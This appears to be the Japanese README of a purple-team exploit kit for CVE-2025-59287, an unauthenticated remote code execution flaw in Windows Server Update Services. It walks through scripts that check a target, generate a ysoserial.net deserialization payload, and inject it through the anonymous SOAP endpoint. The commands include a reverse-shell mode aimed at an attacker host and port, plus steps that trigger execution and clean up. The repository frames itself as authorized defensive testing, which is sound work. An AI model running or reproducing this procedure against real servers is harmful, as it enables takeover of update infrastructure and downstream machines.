紫チーム演習スクリプト。WSUSデータベースへの悪意あるデシリアライズペイロード注入によるWSUSにおける認証不要のRCE（CVE-2025-59287）を実証します。
CVE-2025-59287（Windows Server Update Services (WSUS) の認証なしリモートコード実行脆弱性）のためのパープルチーム演習スクリプトです。
許可された用途のみ。 自分が所有する、または明示的な書面によるテスト許可を得たシステムに対して、管理された演習環境でのみ使用してください。
この脆弱性は、匿名でアクセス可能な WSUS SOAP エンドポイントを悪用し、悪意のあるデシリアライゼーションペイロードを WSUS データベースに注入します。ペイロードは、WSUS 管理コンソールが開かれたとき、または同期がトリガーされたときに実行されます。
8530 での WSUS へのネットワークアクセスysoserial\Release\ フォルダに配置された ysoserial.net (セットアップ参照)wsus-cve-2025-59287/
├── 1-check.ps1 # Verify target is vulnerable
├── 2-generate.ps1 # Generate serialized payload blob
├── 3-deliver.ps1 # Deliver payload to WSUS server
├── 4-verify.ps1 # Verify execution and clean up
├── ysoserial/ # Place ysoserial.net release here (not committed)
│ └── Release/
│ └── ysoserial.exe
└── README.md
リポジトリをクローンまたはダウンロードします。パスが ysoserial\Release\ysoserial.exe と一致するように ysoserial.net を追加します。
ysoserial.net を以下からダウンロードしてください： https://github.com/pwntester/ysoserial.net/releases/tag/v1.36 デフォルトで Windows Defender がトリガーされます
すべてのスクリプトはリポジトリルートから実行してください。
.\1-check.ps1 -TargetURL "http://<wsus-ip>:8530"
ファイルドロップ（リスナー不要、最初に推奨）：
.\2-generate.ps1 -Mode filedrop
リバースシェル：
.\2-generate.ps1 -Mode shell -LHost <attacker-ip> -LPort 4444
.\3-deliver.ps1 -TargetURL "http://<wsus-ip>:8530"
WSUS サーバー上で、[スタート] > [Windows Server Update Services] から管理コンソールを開くか、PowerShell 経由で同期をトリガーします：
$wsus = [Microsoft.UpdateServices.Administration.AdminProxy]::GetUpdateServer('localhost', $false, 8530)
$wsus.GetSubscription().StartSynchronization()
実行の確認：
.\4-verify.ps1
すべてのアーティファクトの確認とクリーンアップ：
.\4-verify.ps1 -Cleanup
攻撃ボックスから管理共有経由：
.\4-verify.ps1 -WsusIP <wsus-ip> -Cleanup
クリーンアップ後、WSUS コンソールの [Computers] から演習用コンピュータを削除してください。